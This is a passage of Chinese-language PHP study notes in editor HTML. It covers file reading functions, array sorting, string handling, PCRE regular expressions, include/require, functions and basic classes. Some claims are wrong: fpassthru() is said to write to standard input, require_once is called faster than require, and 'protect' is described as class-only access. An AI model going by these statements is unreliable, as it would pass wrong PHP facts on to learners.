<p data-lake-id="6c61b2b702ef73767d4930adf8785fb2"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">a(追加写或读)。</span></strong><span class="lake-fontsize-14">(同上)</span></span></p>
<p data-lake-id="1fbb8b4c42eda3232675509d33e7def8"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">b(二进制)。</span></strong><span class="lake-fontsize-14">(用于与其他模式进行连接……)</span></span></p>
<p data-lake-id="648e333a8c1c582946a022e3271a3447"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">t(文本)</span></strong><span class="lake-fontsize-14">。</span></span></p>
<p data-lake-id="9c712fbe94a2fbeabec1b727c1207117"><span class="lake-fontsize-14">(ps:以上字母后面是作用,并不是严格意义的模式名称)</span></p>
<p data-lake-id="590f44666fa4af4336c150d94c43e856"> </p>
<p data-lake-id="590f44666fa4af4336c150d94c43e856"><span class="lake-fontsize-14">9.<strong><span class="lake-fontsize-14">fputs()</span></strong><span class="lake-fontsize-14">是<strong><span class="lake-fontsize-14">fwrite()</span></strong><span class="lake-fontsize-14">的别名,可用<strong><span class="lake-fontsize-14">file_put_contents()</span></strong><span class="lake-fontsize-14">代替<strong><span class="lake-fontsize-14">fwrite()</span></strong><span class="lake-fontsize-14">。</span></span></span></span></span></p>
<p data-lake-id="4fab39e5287eb8690e69c7e2dd04bcf1"> </p>
<p data-lake-id="4fab39e5287eb8690e69c7e2dd04bcf1"><span class="lake-fontsize-14">10.<strong><span class="lake-fontsize-14">feof()</span></strong><span class="lake-fontsize-14">唯一参数是文件指针,如指向文件末尾则返回true。</span></span></p>
<p data-lake-id="9b189e7b51c8636ffdb2d38d22bf86ac"><span class="lake-fontsize-14"> 使用<strong><span class="lake-fontsize-14">feof()</span></strong><span class="lake-fontsize-14">作为文件结束的测试条件。</span></span></p>
<p data-lake-id="19a133451d351c49593a518f3a48fb6a"> </p>
<p data-lake-id="19a133451d351c49593a518f3a48fb6a"><span class="lake-fontsize-14">11.<strong><span class="lake-fontsize-14">fgets()</span></strong><span class="lake-fontsize-14">读取文件内容,每次一行。</span></span></p>
<p data-lake-id="8b021331f48da934555fd880e71858fc"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">fgetss()</span></strong><span class="lake-fontsize-14">同上,还可选择过滤。</span></span></p>
<p data-lake-id="4e66b775ad5dbfab7a3ec3b1b6cb69f2"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">fgetcsv</span></strong><strong><span class="lake-fontsize-14">()</span></strong><span class="lake-fontsize-14">当使用了分隔符(例如制表符或者逗号)的时候可以选择分行,</span></span></p>
<p data-lake-id="3440dd68a106d15d6b931aa857be015d"><span class="lake-fontsize-14"> 可用<strong><span class="lake-fontsize-14">explode()</span></strong><span class="lake-fontsize-14">,<strong><span class="lake-fontsize-14">implode()</span></strong><span class="lake-fontsize-14">(同join()作用)<span class="lake-fontsize-14">,<strong><span class="lake-fontsize-14">join()</span></strong><span class="lake-fontsize-14">(效果和explode()相反),<strong><span class="lake-fontsize-14">strtok()</span></strong><span class="lake-fontsize-14">(一次从字符串取一个子字符串) 分隔。</span></span></span></span></span></span></p>
<p data-lake-id="5c13638179a496a4501f42fa7ca489cd"> </p>
<p data-lake-id="5c13638179a496a4501f42fa7ca489cd"><span class="lake-fontsize-14">12.读取整个文件:<strong><span class="lake-fontsize-14">readfile()</span></strong><span class="lake-fontsize-14">,<strong><span class="lake-fontsize-14">fpassthru()</span></strong><span class="lake-fontsize-14">(ps:需要先用<strong><span class="lake-fontsize-14">fopen()</span></strong><span class="lake-fontsize-14">打开文件,然后再将文本指针作为参数传递给<strong><span class="lake-fontsize-14">fpassthru()</span></strong><span class="lake-fontsize-14">,这样就可以把所指向文件内容发送到标准输入,然后再将文件关闭。成功返回true失败返回false。),<strong><span class="lake-fontsize-14">file()</span></strong><span class="lake-fontsize-14">(把结果发送到一个数组),<strong><span class="lake-fontsize-14">file_get_contents()</span></strong><span class="lake-fontsize-14">(以字符串的形式返回文件内容)。</span></span></span></span></span></span></span></p>
<p data-lake-id="42e7db0417c30a4a2ef990557a97ec96"> </p>
<p data-lake-id="42e7db0417c30a4a2ef990557a97ec96"><span class="lake-fontsize-14">13.读取一个字符<strong><span class="lake-fontsize-14">fgetc()</span></strong><span class="lake-fontsize-14">,一次读取一个字符。读取任意长度<strong><span class="lake-fontsize-14">fread()</span></strong><span class="lake-fontsize-14">。</span></span></span></p>
<p data-lake-id="4d6224f9c36f4681f558004063e3dadb"> </p>
<p data-lake-id="4d6224f9c36f4681f558004063e3dadb"><span class="lake-fontsize-14">14.查看文件是否存在<strong><span class="lake-fontsize-14">file_exists()</span></strong><span class="lake-fontsize-14">。确定文件大小<strong><span class="lake-fontsize-14">filesize()</span></strong><span class="lake-fontsize-14">。删除一个文件<strong><span class="lake-fontsize-14">unlink()</span></strong><span class="lake-fontsize-14">。可以对文件指针进行操作,在文件中定位:<strong><span class="lake-fontsize-14">rewind(),fseek(),ftell()</span></strong><span class="lake-fontsize-14">。文件锁定<strong><span class="lake-fontsize-14">flock()</span></strong><span class="lake-fontsize-14">(ps:无法在NFS或其他网络文件系统中使用,无法在多线程服务器API中使用)。</span></span></span></span></span></span></p>
<p data-lake-id="747cfd16566706f1980733703a1c800f"> </p>
<p data-lake-id="747cfd16566706f1980733703a1c800f"><span style="color: rgba(255, 0, 0, 1)">!!!<strong>如要学习具体需要善于运用搜索引擎。</strong>!!!</span></p>
<p data-lake-id="ca6cc6c3aad2c36101d5fcb2656bd8e5"> </p>
<p data-lake-id="ca6cc6c3aad2c36101d5fcb2656bd8e5"><span class="lake-fontsize-14">15.array()和echo一样实际上是一个<span class="lake-fontsize-14">语言结构<span class="lake-fontsize-14">而不是函数。(可用[]代替array()。)</span></span></span></p>
<p data-lake-id="1eb8d3c56505d17ceb5984df5d6015a6"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">sort()</span></strong><span class="lake-fontsize-14">(<span class="lake-fontsize-14">按<span class="lake-fontsize-14">值从小到大排序<span class="lake-fontsize-14">), <strong><span class="lake-fontsize-14">rsort()</span></strong><span class="lake-fontsize-14">(<span class="lake-fontsize-14">加r反序<span class="lake-fontsize-14">),<strong>usort()</strong><span class="lake-fontsize-14">(加u自定义);</span></span></span></span></span></span></span></span></span></p>
<p data-lake-id="6e5d200f1976d9cb679b1dc6f307426c"><strong><span class="lake-fontsize-14"> asort()</span></strong><span class="lake-fontsize-14">(对数组进行排序并保持索引关系<span class="lake-fontsize-14">)<strong><span class="lake-fontsize-14">,arsort()</span></strong><span class="lake-fontsize-14">(<span class="lake-fontsize-14">加r反序<span class="lake-fontsize-14">)<strong>,uasort()</strong><span class="lake-fontsize-14">(加u自定义)<span class="lake-fontsize-14">;</span></span></span></span></span></span></span></p>
<p data-lake-id="a6722e77a14d366fc014a01457050f0f"><strong><span class="lake-fontsize-14"> ksort()</span></strong><span class="lake-fontsize-14">(按照键名排序)<span class="lake-fontsize-14"><strong>,krsort()</strong>(<span class="lake-fontsize-14">加r反序<span class="lake-fontsize-14">),<strong><span class="lake-fontsize-14">uksort()</span></strong><span class="lake-fontsize-14">(加u自定义)。</span></span></span></span></span></p>
<p data-lake-id="de812c80adceef645a62111354371b32"><span class="lake-fontsize-14"> <span class="lake-fontsize-14">使用以上函数<span class="lake-fontsize-14">进行排序,或创建用户自定义排序函数或使用<strong><span class="lake-fontsize-14">array_multisort()</span></strong><span class="lake-fontsize-14">函数。</span></span></span></span></p>
<p data-lake-id="f4109319ce562675739c523e7ee1dc70"><span class="lake-fontsize-14"> 也可使用<strong><span class="lake-fontsize-14">array_reverse()</span></strong><span class="lake-fontsize-14">(与原来数组相反排序),<strong><span class="lake-fontsize-14">shuffle()</span></strong><span class="lake-fontsize-14">随机。</span></span></span></p>
<p data-lake-id="9830b51104241a6e63682922b5e32822"><span class="lake-fontsize-14"> “=”可以将数组复制到另一个数组,添加数组元素<strong><span class="lake-fontsize-14">array_push()</span></strong><span class="lake-fontsize-14">,删除数组元素<strong><span class="lake-fontsize-14">array_pop()</span></strong><span class="lake-fontsize-14">。<strong><span class="lake-fontsize-14">sizeof()</span></strong><span class="lake-fontsize-14">是<strong><span class="lake-fontsize-14">count()</span></strong><span class="lake-fontsize-14">的别名函数。</span></span></span></span></span></p>
<p data-lake-id="0e2cc5ee6affff9ca6bf6c9db1fbf7e0"><span class="lake-fontsize-14">通过<strong><span class="lake-fontsize-14">count(),sizeof(),array_count_values() </span></strong><span class="lake-fontsize-14">统计数组元素。</span></span></p>
<p data-lake-id="e0497b258d2af773b63629afdfc8aebb"> </p>
<p data-lake-id="e0497b258d2af773b63629afdfc8aebb"><span class="lake-fontsize-14">16.访问数组可用[]或{}。<strong><span class="lake-fontsize-14">foreach()</span></strong><span class="lake-fontsize-14">循环转为数组和对象打造,索引数组也可用<strong><span class="lake-fontsize-14">list()</span></strong><span class="lake-fontsize-14">(ps:可以将一个数组分解为一系列的值)<span class="lake-fontsize-14">和<strong><span class="lake-fontsize-14">each()</span></strong><span class="lake-fontsize-14">(ps:返回数组的当前元素,并将下一个元素作为当前元素,数组将记录当前元素,如需多次使用数组,用reset()函数将当前元素作为数组的开始。)</span></span></span></span></span></p>
<p data-lake-id="052d653e36ba91252509720b5506c46d"><strong><span class="lake-fontsize-14"> extract()</span></strong><span class="lake-fontsize-14">将数组转化为标量变量。</span></p>
<p data-lake-id="995c90c0d052d2779bc78c4f760d66c6"><span class="lake-fontsize-14"> 以相同方式使用或者修改数组中每一个元素用<strong><span class="lake-fontsize-14">array_walk()</span></strong><span class="lake-fontsize-14">。</span></span></p>
<p data-lake-id="26cbb247ef54d3652d85dac9d52b85c5"> </p>
<p data-lake-id="26cbb247ef54d3652d85dac9d52b85c5"><span class="lake-fontsize-14">17.键与值之间用=>符号。</span></p>
<p data-lake-id="a1f0624e46c15f8fdffd49196e21e790"> </p>
<p data-lake-id="a1f0624e46c15f8fdffd49196e21e790"><span class="lake-fontsize-14">18.<>与!=相同。+为联合操作符,尝试把后面数组元素添加到前面数组的末尾,若具有相同的键则不被添加。</span></p>
<p data-lake-id="bafa852fa2dc4cfcd1dba13841aa8462"> </p>
<p data-lake-id="bafa852fa2dc4cfcd1dba13841aa8462"><span class="lake-fontsize-14">19.了解算术操作符,逻辑操作符,位操作符,比较操作符,数组操作符等。</span></p>
<p data-lake-id="34eae8983b42836a05a8be48c924fe29"> </p>
<p data-lake-id="34eae8983b42836a05a8be48c924fe29"><span class="lake-fontsize-14">20.数组浏览:<strong><span class="lake-fontsize-14">each(),</span></strong><strong><span class="lake-fontsize-14">next(),</span></strong><span class="lake-fontsize-14">使指针指向下一个元素<strong><span class="lake-fontsize-14">。</span></strong></span></span></p>
<p data-lake-id="0e02f7d9c6a84a01a116cd9d763d81f2"><strong><span class="lake-fontsize-14"> prev()</span></strong><span class="lake-fontsize-14">(和next()相反)<strong><span class="lake-fontsize-14">,end(),</span></strong><span class="lake-fontsize-14">逆序遍历。</span></span></p>
<p data-lake-id="b890c85d50cd09204924955a8509c1be"><strong><span class="lake-fontsize-14"> current()</span></strong><span class="lake-fontsize-14">(返回数组中的当前单元)<strong><span class="lake-fontsize-14">,pos()</span></strong><span class="lake-fontsize-14">(current()的别名)。</span></span></p>
<p data-lake-id="482ba09c0e7e8c7e5eed92f698e83fb5"><strong><span class="lake-fontsize-14"> reset()</span></strong><span class="lake-fontsize-14">(前文有)。</span></p>
<p data-lake-id="57bf2dc8024ce5187deb8ba8a8b2e454"> </p>
<p data-lake-id="57bf2dc8024ce5187deb8ba8a8b2e454"><span class="lake-fontsize-14">21.字符串截断(默认除去字符<strong><span class="lake-fontsize-14">\n,\r,\t,\x0B,\0,空格</span></strong><span class="lake-fontsize-14">):</span></span></p>
<p data-lake-id="6664a8e39b9ddfcd3a872fb6a164591a"><strong><span class="lake-fontsize-14"> trim()</span></strong><span class="lake-fontsize-14">(还除去字符串开始位置和结束位置的空格,并返回)</span></p>
<p data-lake-id="1344e2efbf4f3fa5dcb7205a4f2d6524"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">rtrim()</span></strong><span class="lake-fontsize-14">的别名函数<strong><span class="lake-fontsize-14">chop()</span></strong><span class="lake-fontsize-14">(从结束处除去空格)</span></span></span></p>
<p data-lake-id="89284260efc7e0fb4dc447c4063d6644"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">ltrim()</span></strong><span class="lake-fontsize-14">(从开始处除去空格)</span></span></p>
<p data-lake-id="9a215e520829a714b9fb613a2f571da8"> </p>
<p data-lake-id="9a215e520829a714b9fb613a2f571da8"><span class="lake-fontsize-14">22.使用<strong><span class="lake-fontsize-14">htmlspecialchars()</span></strong><span class="lake-fontsize-14">函数过滤输出至浏览器的字符串(实体编码)。</span></span></p>
<p data-lake-id="5b5d80afee1b3b1eaf4f27c4a7fb2ce8"><span class="lake-fontsize-14"> 使用<strong><span class="lake-fontsize-14">str_replace(),substr_replace()</span></strong><span class="lake-fontsize-14">函数进行过滤或替换子字符串。</span></span></p>
<p data-lake-id="09f1afcfeee5ed4187b2e51ff2813d58"><span class="lake-fontsize-14"> 使用<strong><span class="lake-fontsize-14">nl2br()</span></strong><span class="lake-fontsize-14">函数进行html格式化。使用<strong><span class="lake-fontsize-14">substr()</span></strong><span class="lake-fontsize-14">得到某个固定格式字符串的一部分。</span></span></span></p>
<p data-lake-id="8de86fe82bdf98652f2ce2d9fffc6fa4"> </p>
<p data-lake-id="8de86fe82bdf98652f2ce2d9fffc6fa4"><span class="lake-fontsize-14">23.了解转换规范支持的类型码</span></p>
<p data-lake-id="99422a3a97c735910e200ed6588ca4ed"> </p>
<p data-lake-id="99422a3a97c735910e200ed6588ca4ed"><span class="lake-fontsize-14">24.字符串的排序:<strong><span class="lake-fontsize-14">strcmp(),strcasecmp()</span></strong><span class="lake-fontsize-14">(不区分大小写)<strong><span class="lake-fontsize-14">,strnatcmp()</span></strong><span class="lake-fontsize-14">(按照自然排序)</span></span></span></p>
<p data-lake-id="972b6b6451a62d0e32d1101024c2c382"> </p>
<p data-lake-id="972b6b6451a62d0e32d1101024c2c382"><span class="lake-fontsize-14">25.<strong><span class="lake-fontsize-14">strlen()</span></strong><span class="lake-fontsize-14">判断字符长度,<span class="lake-fontsize-14">学会使用<span class="lake-fontsize-14"><strong>get_meta_tags(),</strong></span></span></span></span></p>
<p data-lake-id="eee3eee96aecfb71f94b0d12dcf29c61"> </p>
<p data-lake-id="eee3eee96aecfb71f94b0d12dcf29c61"><span class="lake-fontsize-14">26.在字符串中查找字符串:<strong><span class="lake-fontsize-14">strstr(),strchr(),strrchr(),stristr()</span></strong></span></p>
<p data-lake-id="cacbb5ea6959c26439a2d6558d4e8699"> </p>
<p data-lake-id="cacbb5ea6959c26439a2d6558d4e8699"><span class="lake-fontsize-14">27.查找子字符串的位置:<strong><span class="lake-fontsize-14">strpos()</span></strong><span class="lake-fontsize-14">和<strong><span class="lake-fontsize-14">strrpos()</span></strong></span></span></p>
<p data-lake-id="427d0c820705bffd1473f6fcac230dc3"><strong><span class="lake-fontsize-14">parse_str(),</span></strong><span class="lake-fontsize-14">将字符串解析成多个变量。</span></p>
<p data-lake-id="57cfaca6b024c2f8d87d9b1fbc496f00"><strong><span class="lake-fontsize-14"> parse_url(),</span></strong><span class="lake-fontsize-14">解析url返回其组成部分。</span></p>
<p data-lake-id="757f8c1f289b110153efd2b38f1e5329"> </p>
<p data-lake-id="757f8c1f289b110153efd2b38f1e5329"><span class="lake-fontsize-14">28.了解正则表达式,目前通常是perl风格,使用PCRE正则表达式,每个表达式必须包含在一对分隔符中,最常见的分隔符是 / ,如<strong><span class="lake-fontsize-14">/xluo/。</span></strong></span></p>
<p data-lake-id="ce38b48a30dd73e0f2f6fcfed7b5d60b"><span class="lake-fontsize-14"> 如果要在正则表达式中匹配/或者特殊字符需要用反斜杠\转义<span class="lake-fontsize-14">,如<strong><span class="lake-fontsize-14">/xluo</span></strong>\/\/<strong><span class="lake-fontsize-14">/</span></strong><span class="lake-fontsize-14">,PCRE正则表达式语法链接。<span class="lake-fontsize-14">了解模式修饰符,<span class="lake-fontsize-14">链接。 </span></span></span></span></span></p>
<p data-lake-id="9e2a9b2f2aa8b19baf60ceaa2c3689f7"><span class="lake-fontsize-14"> (ps:在一个双引号引用的php字符串中使用\需要\\,这就导致需要使用四个反斜杠\\\\来表示一个包含在正则表达式的反斜杠字符\,如表示$字符需使用\\\$,因为字符串被引用在双引号中,php解释器将其解析为\$,而正则表达式解释器将其解析成一个$字符)</span></p>
<p data-lake-id="5eecbd2e4d64d8ce46f28744db8b2261"><span class="lake-fontsize-14"> 了解正则表达式符号,<span class="lake-fontsize-14">链接,方括号中的表达式只匹配一个字符,可使用-来描述一个范围,如//表示代表大小写任何字母<span class="lake-fontsize-14">。</span></span></span></p>
<p data-lake-id="2f8723c0670ab4416bfd46a55090bae2"><span class="lake-fontsize-14"> 了解正则的预定字符类,如<strong><span class="lake-fontsize-14">[[:word:]]</span></strong><span class="lake-fontsize-14">匹配"word"字符(字母数字或下划线)链接。</span></span></p>
<p data-lake-id="c116795a72ec2dc7b49a4380e797555b"><span class="lake-fontsize-14"> 外部方括号分隔字符类,而内部方括号是字符类名称的一部分,如<strong><span class="lake-fontsize-14">/[[:alpha]1-5]/</span></strong><span class="lake-fontsize-14">匹配的是包含字母字符<strong><span class="lake-fontsize-14">或</span></strong><span class="lake-fontsize-14">1到5数字的字符。</span></span></span></p>
<p data-lake-id="cf1c6d2338ecf9c08f91f368bffdc007"><span class="lake-fontsize-14"> 了解子表达式,<strong><span class="lake-fontsize-14">/(very )*large/</span></strong><span class="lake-fontsize-14">可以匹配"large""very large""very very large"等。</span></span></p>
<p data-lake-id="c5a4133f7c8e5eb8bf2c30b9c03ab2e8"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">/(very ){1,3}/</span></strong><span class="lake-fontsize-14">,表示匹配"very ","very very ","very very very "。</span></span></p>
<p data-lake-id="1304688f978630e05121beee41bb6e87"><span class="lake-fontsize-14"> 了解PCRE正则表达式中用于方括号里面的特殊字符\^-和用于方括号外面的特殊字符\^$.|()*+{}?</span></p>
<p data-lake-id="450ddca35a2efa708ef51cc18f5a1faf"><span class="lake-fontsize-14"> 了解转义序列\的三种用法(ps:了解转义序列第三种\d,\D,\h,\H,\s,\S,\v,\V,\w,\W)</span></p>
<p data-lake-id="2e6018dffb50af17a93a4c4568570173"> </p>
<p data-lake-id="2e6018dffb50af17a93a4c4568570173"><span class="lake-fontsize-14">29.脱字符号^用于正则表达式的开始,字符$用于正则表达式的结尾,思考<strong><span class="lake-fontsize-14">/^xluo/,/xluo$/,/^xluo$/</span></strong><span class="lake-fontsize-14">分别匹配什么。</span></span></p>
<p data-lake-id="fc07a92c66d208200fd0f11163f5e326"> </p>
<p data-lake-id="fc07a92c66d208200fd0f11163f5e326"><span class="lake-fontsize-14">30.通过|来进行模式选择<strong><span class="lake-fontsize-14">/aa|bb|cc/</span></strong><span class="lake-fontsize-14">匹配aa,bb或cc。</span></span></p>
<p data-lake-id="fa7e32a98fcd8704824fae4b877cf64a"> </p>
<p data-lake-id="fa7e32a98fcd8704824fae4b877cf64a"><span class="lake-fontsize-14">31.了解回溯引用。</span></p>
<p data-lake-id="b194e807ae5063660cde78b06bfbc650"> </p>
<p data-lake-id="b194e807ae5063660cde78b06bfbc650"><span class="lake-fontsize-14">32.理解PCRE正则表达式的断言。</span></p>
<p data-lake-id="99a0da7e47f6f06ebd1ffae38fa4bb0e"> </p>
<p data-lake-id="99a0da7e47f6f06ebd1ffae38fa4bb0e"><span class="lake-fontsize-14">33.<strong><span class="lake-fontsize-14">preg_match()</span></strong><span class="lake-fontsize-14">函数<span class="lake-fontsize-14">正则表达式<span class="lake-fontsize-14">如匹配到返回1,如没有匹配到返回0,如果出现匹配错误返回false,故通常用===来进行判断检查返回值,避免混淆。</span></span></span></span></p>
<p data-lake-id="841e7a9b7c8779ed327d516469ea9b79"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">preg_split()</span></strong><span class="lake-fontsize-14">函数使用正则表达式分割字符串。</span></span></p>
<p data-lake-id="26089d26ac16b6da4759feb5129f0947"><span class="lake-fontsize-14"> 了解其他PCRE正则表达式函数。</span></p>
<p data-lake-id="204bd071c3c8ccea13f0ecf3a7c28bc2"> </p>
<p data-lake-id="204bd071c3c8ccea13f0ecf3a7c28bc2"><span class="lake-fontsize-14">34.了解<strong><span class="lake-fontsize-14">require()</span></strong><span class="lake-fontsize-14">和<strong><span class="lake-fontsize-14">include()</span></strong><span class="lake-fontsize-14">函数来支持代码重用,载入文件时会作为php文件一部分被执行。</span></span></span></p>
<p data-lake-id="896dcaa721bcdd5fcb7e2e91f53bb85e"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">require_once()</span></strong><span class="lake-fontsize-14">和<strong><span class="lake-fontsize-14">include_once()</span></strong><span class="lake-fontsize-14">确保一个被引入的文件只能被引入一次,而且<strong><span class="lake-fontsize-14">速度比上面的更快。</span></strong></span></span></span></p>
<p data-lake-id="f1c17fe0168f214f8b2acf7a8e29eb82"> </p>
<p data-lake-id="f1c17fe0168f214f8b2acf7a8e29eb82"><span class="lake-fontsize-14">35.了解<strong><span class="lake-fontsize-14">auto_prepend_file()</span></strong><span class="lake-fontsize-14">和<strong><span class="lake-fontsize-14">auto_append_file()</span></strong></span></span></p>
<p data-lake-id="5f393395e718f4db459157742332286d"> </p>
<p data-lake-id="5f393395e718f4db459157742332286d"><span class="lake-fontsize-14">36.了解调用函数,且函数调用不区分大小写。了解自定义函数。</span></p>
<p data-lake-id="097803672a79502f934f94f347d4c3a5"> </p>
<p data-lake-id="097803672a79502f934f94f347d4c3a5"><span class="lake-fontsize-14">37.了解函数基本结构,如以下是成立的:</span></p>
<div id="g2zAU" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%20function%20my_function()%20%7B%20%3F%3E%5CnMy%20function%20was%20called%5Cn%3C%3Fphp%20%7D%20%3F%3E%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22g2zAU%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php <br><span class="cm-keyword">function <span class="cm-def">my_function() <br>{ <br><span class="cm-meta">?>
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">My function was called
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php <br>} <br><span class="cm-meta">?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="22d40cee6f9fe7b15285bdb722db18cf"> </p>
<p data-lake-id="22d40cee6f9fe7b15285bdb722db18cf"><span class="lake-fontsize-14">3</span><span class="lake-fontsize-14">8.php<strong><span class="lake-fontsize-14">不支持函数重载</span></strong><span class="lake-fontsize-14">,所以函数命名需注意不能乱命名,了解函数命名规则。</span></span></p>
<p data-lake-id="800eb6fa3b768e50f712e98c39fb4b0b"> </p>
<p data-lake-id="800eb6fa3b768e50f712e98c39fb4b0b"><span class="lake-fontsize-14">39.了解参数的使用,传递参数允许我们获得在函数外部生成的数据,可选参数在调用时不能以间隔的方式给出,参数将按照从左到右的顺序进行赋值。</span></p>
<p data-lake-id="4df3484decafa049977ef479fd639a6a"> </p>
<p data-lake-id="4df3484decafa049977ef479fd639a6a"><span class="lake-fontsize-14">40.理解作用域,明白函数内的global $var;是声明全局变量。</span></p>
<p data-lake-id="59c784a3d990fd456fb7ac158c8605b2"> </p>
<p data-lake-id="59c784a3d990fd456fb7ac158c8605b2"><span class="lake-fontsize-14">41.了解return;将终止执行函数,也可返回结果。</span></p>
<p data-lake-id="aadc54eb0efcf63908a8916a0001be48"> </p>
<p data-lake-id="aadc54eb0efcf63908a8916a0001be48"><span class="lake-fontsize-14">42.简单了解递归函数,递归慢且占内存,通常我们通过循环代替递归。</span></p>
<p data-lake-id="98abf8315b095a8bc86e1f0b3dbbcb9c"> </p>
<p data-lake-id="98abf8315b095a8bc86e1f0b3dbbcb9c"><span class="lake-fontsize-14">43.了解匿名(闭包)函数。</span></p>
<p data-lake-id="a064dd90219cf04606fe4e1122ec7ab3"> </p>
<p data-lake-id="a064dd90219cf04606fe4e1122ec7ab3"><span class="lake-fontsize-14">44.理解面向对象概念,了解类和对象,了解多态性和继承。</span></p>
<div id="2ufOJ" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22class%20classname%5Cn%7B%5Cnpublic%20%24a%5Cnpublic%20%24b%5Cnfunction%20aaa()%7B%7D%5Cn%7D%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%222ufOJ%22%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><?php<br>class classname
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">public $a
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">public $b
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">function aaa(){}
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content">}<br>?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="fe443afc6af09ccaa120aad15a47b958"><span class="lake-fontsize-14">上面创建了一个简单的类,它具有两个属性$a和$b,它有一个方法aaa(){}没有带参数</span></p>
<p data-lake-id="20a30996963c6a2d67d1e7c9adc3b93f"> </p>
<p data-lake-id="20a30996963c6a2d67d1e7c9adc3b93f"><span class="lake-fontsize-14">45.了解构造函数<strong><span class="lake-fontsize-14">__construct()</span></strong><span class="lake-fontsize-14">和析构函数<strong><span class="lake-fontsize-14">__destruct()</span></strong><span class="lake-fontsize-14">,<span class="lake-fontsize-14">链接</span><span class="lake-fontsize-14">。</span></span></span></span></p>
<p data-lake-id="35439783de8a7c33fe396119a0f87d79"> </p>
<p data-lake-id="35439783de8a7c33fe396119a0f87d79"><span class="lake-fontsize-14">46.了解类的实例化,通常使用new来创建一个对象,需要指定创建的对象是哪一个类的实例,并且为构造函数提供任何所需的参数。</span></p>
<p data-lake-id="0f965fa7391b77d1c8d5ee8370c751ac"> </p>
<p data-lake-id="0f965fa7391b77d1c8d5ee8370c751ac"><span class="lake-fontsize-14">47.熟悉使用类属性,在一个类中可以访问一个特殊的指针$this,当在该类中通过一个操作设置或访问该变量时,可以用 <strong><span class="lake-fontsize-14">$this-></span></strong><span style="color: rgba(255, 0, 0, 1)"><strong><span class="lake-fontsize-14">我是变量</span></strong></span><span class="lake-fontsize-14"> 来引用,了解<strong><span class="lake-fontsize-14">-></span></strong><span class="lake-fontsize-14">,<span class="lake-fontsize-14">链接</span><span class="lake-fontsize-14">。</span></span></span></span></p>
<p data-lake-id="b724d9cee87efdbf714d6d63751e6a16"> </p>
<p data-lake-id="b724d9cee87efdbf714d6d63751e6a16"><span class="lake-fontsize-14">48.可以用调用类属性相同的方法调用类操作,可以按照调用其他函数的方法调用类操作:操作名称以及必要参数。</span></p>
<p data-lake-id="4100b853761a481524f341136fd5a37c"> </p>
<p data-lake-id="4100b853761a481524f341136fd5a37c"><span class="lake-fontsize-14">49.了解使用<strong><span class="lake-fontsize-14">private</span></strong><span class="lake-fontsize-14">和<strong><span class="lake-fontsize-14">public</span></strong><span class="lake-fontsize-14">关键字控制访问,了解访问修饰符,<span class="lake-fontsize-14">链接</span><span class="lake-fontsize-14">。</span></span></span></span></p>
<p data-lake-id="a5d680c6533a1ec0efa25ace0778a2d6"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">public</span></strong><span class="lake-fontsize-14">,默认,公有属性或方法可以在类的内部和外部进行访问。</span></span></p>
<p data-lake-id="63746f73cc0f257d69eb5adc22765ce7"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">protect</span></strong><span class="lake-fontsize-14">,只能在类内部进行访问。</span></span></p>
<p data-lake-id="8778527f19a079f05374b08d037d2da5"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">private,</span></strong><span class="lake-fontsize-14">只能在类内部<span style="color: rgba(255, 0, 0, 1)"><strong><span class="lake-fontsize-14">直接</span></strong></span><span class="lake-fontsize-14">进行访问。</span></span></span></p>
<p data-lake-id="332c22c88aa897690586502bc4595e7c"> </p>
<p data-lake-id="332c22c88aa897690586502bc4595e7c"><span class="lake-fontsize-14">50.尝试编写访问器函数</span></p>
